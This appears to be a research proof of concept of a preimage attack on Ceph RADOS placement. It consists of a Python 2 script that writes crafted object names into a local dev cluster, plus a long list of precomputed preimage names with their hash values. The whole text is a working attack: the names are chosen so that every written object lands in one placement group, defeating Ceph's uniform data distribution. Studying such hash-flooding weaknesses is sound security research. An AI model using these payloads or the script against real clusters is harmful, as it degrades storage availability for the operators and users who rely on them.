Preimage Attack on RADOS

insert_preimages.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

# I used this in order to insert the preimages into a local ceph cluster,
# started in my ceph dev directory via src/vstart.sh. Adapt paths if needed.

import sys, os

srcdir = '/home/daniel/cn-work/ceph-dev/src'
pool = 'collisions'

sys.path.append('{}/pybind/'.format(srcdir))
from rados import Rados

try:
    cluster = Rados(conffile='{}/ceph.conf'.format(srcdir))
    cluster.connect()
except Exception as e:
    print('Hint: set -x LD_LIBRARY_PATH $LD_LIBRARY_PATH {}/.libs\n'.format(srcdir))
    raise

print('Connected.')


# XXX: hex lit: always two digits: \x12 (unlike C)
preimages = (
  '\x8b\x22\x5e\x3e\x96',
  '\x8b\x36\x40\x6f\x89',
  '\x4b\x79\x82\x88\xce',
  '\x8b\x7e\x6f\xa8\x1b',
  '\x4b\x9e\x2d\x8e\x3d',
  '\x4b\xcf\xb7\x53\xf7',
  '\x4b\xe2\x9a\x3f\x29',
)


with cluster.open_ioctx(pool) as io:
    for oname in preimages:
        print('Preimage: {}'.format(map(ord,oname)))
        io.write_full(oname, "dummy payload")

cluster.shutdown()
print('Disconnected.')

print('Confirm placement with: ./ceph pg dump')

# -> expected result: all objects mapped to single pg, instead of uniform distribution

preimages.txt

# pg = v mod num_pgs, object's name in hex
381933444, 1 1 1 17 2e
381933444, 41 1e f8 5e 22
4, 41 37 ac b 5b
381933444, 41 5b d2 c2 c3
4, 41 78 7 d7 17
381933444, 1 a4 34 f6 c0
4, 82 84 c1 d2 cb
4, 42 89 b1 f5 e2
4, 82 93 29 ec 37
381933444, 42 ca 78 4f 47
381933444, 82 e8 ea fe 16
4, 2 27 f1 d0 db
381933444, 43 38 3c 6b c7
4, 2 3e bb c 4f
4, 2 42 29 76 4d
381933444, 83 58 1 33 33
381933444, 83 ed 20 90 ee
381933444, 83 f6 8d 18 c2
381933444, 84 24 eb 2a e5
381933444, 44 29 89 76 1d
4, 84 38 b9 b5 1f
4, 2 dd 3f a1 7a
381933444, 84 c7 10 92 58
4, 3 d 91 a3 ce
381933444, 85 61 32 d0 27
381933444, 3 6a 9d 2f 81
381933444, 45 fa 43 e4 9
381933444, 46 95 2c 50 66
4, 4 18 28 56 8b
381933444, 86 be 8d a3 d1
381933444, 86 e6 17 52 6e
381933444, 87 63 a7 85 bb
4, 87 6a 26 5b 6e
381933444, 4 a6 3f 4c f9
381933444, 88 32 a1 80 74
4, 4 f5 93 49 2e
4, 4 f7 27 5c a2
381933444, 48 93 66 81 1
381933444, 89 51 3c 87 2b
4, 49 75 8d 11 68
381933444, 49 75 c9 f e4
381933444, 5 8f 2e 41 cc
381933444, 49 97 69 a2 31
4, 5 a3 50 d1 81
4, 49 c8 d1 2b b4
381933444, 4a 21 25 93 24
4, 6 6 e3 b2 90
381933444, 8a 93 ed ab 25
4, 8a ad 8 31 23
381933444, 4a d0 4d 8c 1b
4, 6 4b e2 29 7b
381933444, 8b 22 5e 3e 96
4, 8b 36 40 6f 89
4, 4b 79 82 88 ce
4, 8b 7e 6f a8 1b
4, 4b 9e 2d 8e 3d
4, 4b cf b7 53 f7
4, 4b e2 9a 3f 29
381933444, 4c 6c 4c a0 e2
4, 4c 71 e2 ec 26
381933444, 8d 1c 4a 4a 5
381933444, 4d 3a 57 3e 12
381933444, 8d 68 bd 25 8f
4, 8d 89 8 90 2d
4, 8d 9e fd 5a 1d
381933444, 4e 1e 84 6f a4
381933444, 4e 2c 2d 35 d2
381933444, 4e 3f f9 1b fa
4, 4e 5e fc 5f 7b
4, 4e 67 ba cd 4a
381933444, 4e 6a 8e 22 60
381933444, 8 66 30 68 b4
381933444, 8 75 d de 4a
4, 8e f8 82 72 b9
4, 4f 3e b7 a0 3a
4, 8f 7e 4d 63 3d
381933444, 4f db 95 3f 10
381933444, 90 10 e2 62 3
381933444, 90 26 2 84 c
4, 50 5a 25 8 e9
381933444, 9 92 4 b3 ac
381933444, 50 de 76 7d 6f
381933444, 90 e7 66 9e e9
381933444, 51 14 fa 7f 5c
4, 91 14 5d 11 90
381933444, 91 4a ba 9c 43
381933444, 51 4d f7 1 d2
381933444, 91 61 a0 d4 20
381933444, 52 2 bf 33 76
4, 52 31 52 ec 96
4, 52 47 9c f6 1e
381933444, 92 5b dd ca f9
381933444, a 70 5e 71 eb
381933444, 52 b7 16 ca 5c
4, 52 c3 8f 7 54
4, a 96 9a 21 ed
381933444, a b0 6b bd 75
381933444, 93 25 e5 8d 1a
4, 93 42 6d 55 a7
4, 53 97 e2 bc 4b
381933444, 93 ae 9d 38 de
4, 53 cb 5c e0 96
381933444, 93 ca 53 c8 bd
4, b 25 f2 7d 60
381933444, 53 e7 2a ac 9b
4, 93 e6 26 c8 11
4, 94 5 62 c1 8d
4, 54 27 43 47 16
381933444, 54 8a 26 c 47
381933444, 94 96 61 4d aa
4, 54 ac f3 b8 b6
4, 54 c1 3e e7 cc
4, 94 cb 5b b1 db
4, 55 6 b1 3a d7
4, 95 f 11 73 da
4, 55 39 3c 93 d
4, 55 72 90 1a 62
381933444, 55 c0 f7 d7 2
4, 96 83 5e b5 3f
381933444, 56 e3 7e d2 cc
381933444, 57 ad 3e e5 ed
381933444, 97 a4 b9 8d 1a
4, 57 d5 c8 7 c3
381933444, 97 d0 39 35 f5
4, 58 3d c6 17 e5
4, 98 40 14 c3 9a
4, d 97 30 50 c9
381933444, d bc 88 75 e9
4, 58 e0 3b 84 f2
4, d f4 d6 9c 54
381933444, 98 fe f6 49 86
381933444, 99 18 1d bc 86
4, 59 43 bb 1c 74
4, 59 5b 8d aa e
4, 59 5e 8e 67 ba
4, 59 95 57 2d b4
4, 99 9b 2a 31 ea
381933444, 99 ce de b2 9
4, e 77 b a9 8b
381933444, 9a 3e ad 3d 7e
381933444, 9a ab d1 97 34
4, 5a c8 90 86 3d
4, e e5 a2 c3 b1
381933444, 9a e2 8e 57 b1
4, 9b 3a 37 29 46
4, 5b 71 ba 50 79
381933444, f 4e 8 a3 2c
381933444, 9b a0 f9 21 6a
4, 9b f0 fb 47 1a
381933444, 9c 4a 1b c6 a8
4, 9c b4 fd 9 55
381933444, 5d 5 58 a0 30
4, 5d 41 64 f6 65
4, 5d 42 2f f4 98
4, 5d 5c e8 47 e3
4, 10 54 c8 3c fc
381933444, 9d c4 8b e7 52
381933444, 5e 4 74 a4 ea
381933444, 10 ab a3 39 68
381933444, 5e 79 86 eb 83
4, 9e 87 f5 79 73
381933444, 9e b7 e 70 14
381933444, 5e ef 9a 65 f0
4, 5f d 4a 95 d9
4, 9f 2c 6c f9 20
381933444, 5f 4c f0 f eb
381933444, 9f 48 11 5c 97
381933444, 5f 94 af 42 98
4, 9f ce 5a f2 70
381933444, 9f f2 d1 d8 f9
4, a0 21 31 5 7a
4, 11 c9 3d ac c8
4, a0 3c 3b b2 8b
4, a0 56 fd 81 a2
4, 60 70 3d 1c 82
4, 60 99 59 50 7c
4, a0 93 cb c6 99
4, a0 c9 f fa 81
381933444, 60 f7 39 df b8
381933444, a0 f2 c4 2f 15
4, a0 f6 4d 15 c3
381933444, a1 11 8b de 35
4, 12 51 35 9c 72
381933444, a1 4f 9e 95 13
381933444, 61 8f 82 d9 63
4, 61 bc 2 6a f2
4, a1 f1 88 e6 e1
381933444, a1 f9 60 68 1e
381933444, 62 23 9b ee 3c
381933444, 62 2a 86 7c 32
381933444, 62 aa 3 32 f7
4, 62 d9 25 2c 47
4, 62 fa f3 18 d4
4, 63 36 e1 9d 3c
4, 63 50 bc 26 71
381933444, 13 79 6 7f 9
4, a3 88 42 f6 6f
381933444, 13 f1 64 8a 18
381933444, 14 d a2 27 a4
4, a4 e6 5c e1 65
4, a5 89 a6 41 c9
4, a5 8b c a2 4d
381933444, 65 f7 2e d0 ba
381933444, a5 ee 36 b3 51
4, a5 fc 89 ab d9
4, 15 23 40 21 42
381933444, 15 34 2c 39 83
381933444, 15 45 60 82 c6
381933444, 66 bf 7c b0 49
4, a6 c8 3a 38 28
4, 66 e8 a 69 23
4, a6 e5 43 b4 aa
4, 15 75 7d d0 c8
4, 15 9a 35 fb 2d
4, a7 6d 33 7b bd
381933444, 15 c4 ed 36 93
4, a7 95 37 52 3e
381933444, 67 ab d 41 50
381933444, a7 d9 95 43 56
381933444, 68 d 74 2b e8
381933444, 68 29 f5 40 40
4, 68 8e e2 41 f2
4, 69 74 fb ef 30
4, aa 3 26 b5 2a
381933444, aa c fc 27 57
4, 17 93 7f 2a 14
381933444, ab 53 a 7 95
381933444, 6b f8 aa e6 ac
4, ac f 2f a1 be
4, ac 70 5c 33 b
381933444, ac 97 b5 10 31
4, 18 a2 b3 c3 31
4, ac f9 9b 3a 29
381933444, 6d 17 18 cc 74
4, 19 11 79 1 d9
4, ae 31 97 dc 8c
381933444, ae a0 7d 13 c6
381933444, ae b7 46 19 2b
4, ae d5 26 f2 cc
4, 6f c3 e0 fb 39
381933444, af f4 48 c3 1e
381933444, 70 2 e3 54 b4
4, 70 50 62 b3 e6
381933444, 70 a2 14 f2 aa
381933444, 1b 10 2f e8 e8
4, 71 76 4e 73 d
381933444, b1 d2 e2 6f 91
381933444, b1 d4 1c 8b 9f
4, 72 21 89 27 95
4, 72 65 5f fe 9c
4, b2 c7 57 e1 32
381933444, b2 ec f9 f9 48
381933444, 72 ef 87 b5 cc
381933444, 1b fc 80 22 82
381933444, 1b fd 2a d0 3d
381933444, 1c 4a 42 57 80
4, b3 aa 9e a5 4d
4, b4 58 fd 63 2f
381933444, 74 85 24 83 e1
381933444, 74 91 9d d2 16
381933444, 74 a1 76 ed 76
4, b5 7f a6 93 b4
381933444, b5 b4 e8 49 87
4, 1d 74 73 31 c1
381933444, b6 48 7c 8c 37
4, b6 86 4a ad fb
381933444, b6 b7 18 28 c5
381933444, 1d ef 1f c4 e
381933444, 76 d9 31 2e 8d
4, 77 5b 26 c6 dc
4, 1e 41 d1 e4 8c
381933444, 1e 80 3f aa 52
4, 77 d5 3a d 4b
381933444, b7 e4 1e 85 a9
381933444, 1e 8f 57 ba b7
381933444, b8 e 85 b fc
381933444, b8 d9 24 d1 60
4, 78 e8 8a cf ef
4, 1f 25 5e 26 76
381933444, 1f 38 d6 d5 ab
4, b9 43 b6 10 52
4, b9 67 61 41 e3
4, b9 97 be 75 14
381933444, b9 a1 33 b3 7f
381933444, 79 a9 cf 90 8c
381933444, 1f a2 3f 8c 77
381933444, 1f c3 fa 13 41
381933444, 1f dd 79 73 95
4, ba 5c 82 cf f3
4, 7a a0 d0 db 3a
381933444, 7b 26 4e 2d 6b
381933444, 7b 34 6b ad 8
381933444, bb 51 a4 e1 17
4, 20 67 20 a9 a9
4, 7b 50 29 70 2a
381933444, bb 96 af 63 ac
4, bb b6 23 74 a4
381933444, bc a aa 8f ea
4, 7c 22 92 56 f2
381933444, 20 e0 50 cb f2
381933444, bc 98 a8 b8 a0
381933444, 21 20 e2 dd e1
381933444, bd 7 e4 5d d5
381933444, 7d 5 f0 5d 7b
4, 21 61 17 56 c
381933444, 7d 41 c9 74 16
4, 21 72 58 6 1
4, 7d b7 4d 54 bc
381933444, 7e 33 97 27 9d
4, 7e 68 b9 ea db
381933444, 7e c6 aa 92 f
381933444, be ec 90 d0 ab
4, 7f 49 fe 53 d4
381933444, 7f 5b 52 d5 52
381933444, 22 ab cb 2f 97
4, 7f d4 f9 79 4c
381933444, c0 24 7b 9f 6e
4, 23 21 f1 5a e
381933444, c0 de 23 fe de
381933444, c0 fc 5b 35 ad
381933444, 24 12 d7 5c dd
381933444, 24 f9 24 d6 4e
381933444, 26 1c 95 7 71
4, 26 35 89 73 5e
381933444, 27 22 cc da c4
381933444, 28 28 32 2e fb
4, 28 43 46 8d dc
381933444, 29 9c d7 49 45
381933444, 29 cb 88 67 21
4, 2a 4c 36 9a e1
381933444, 2a 95 13 c7 ad
381933444, 2a da 3e 3a ac
4, 2b c4 fe a6 ef
4, 2b eb b2 2d b5
4, 2b f7 b1 69 46
381933444, 2c 45 18 34 5d
381933444, 2c 78 4c e4 ce
381933444, 2c 7d 42 22 b5
4, 2d 7 26 e5 26
381933444, 2d 45 11 9a bd
4, 2d 60 7a e9 12
4, 30 8 58 5e a4
381933444, 30 c4 f6 51 92
4, 31 44 49 71 b9
4, 31 71 59 a5 2a
4, 31 ce f7 d3 88
381933444, 32 3c 50 ac cb
4, 32 a6 86 f4 3b
4, 33 42 43 53 19
4, 33 7f a0 52 1b
4, 33 c5 f1 5a 9
381933444, 33 d3 1d 8a b
4, 34 a6 b6 b5 8
4, 34 aa c ca d0
4, 34 d5 cc 18 c
4, 35 d ba 6a bf
4, 36 39 aa 1b 3b
4, 36 dc c5 69 b8
4, 37 c2 43 1c 5f
381933444, 37 ce 1 9d 6
381933444, 38 28 59 3e 32
381933444, 38 e6 93 f0 b6
4, 39 49 14 c5 b2
381933444, 39 a8 a6 56 c9
381933444, 3a 1f cf 7d d5
381933444, 3a 8a b6 40 e4
381933444, 3a ac 2e de 42
4, 3b a7 56 bb 9c
4, 3c 6b 50 92 c3
381933444, 3c ad 1a e3 a
4, 3c c9 6a 5e 5
4, 3d a fa c4 4c
4, 3d 20 d4 77 c3
381933444, 3d 94 3c 3e e8
381933444, 3e c 86 74 b8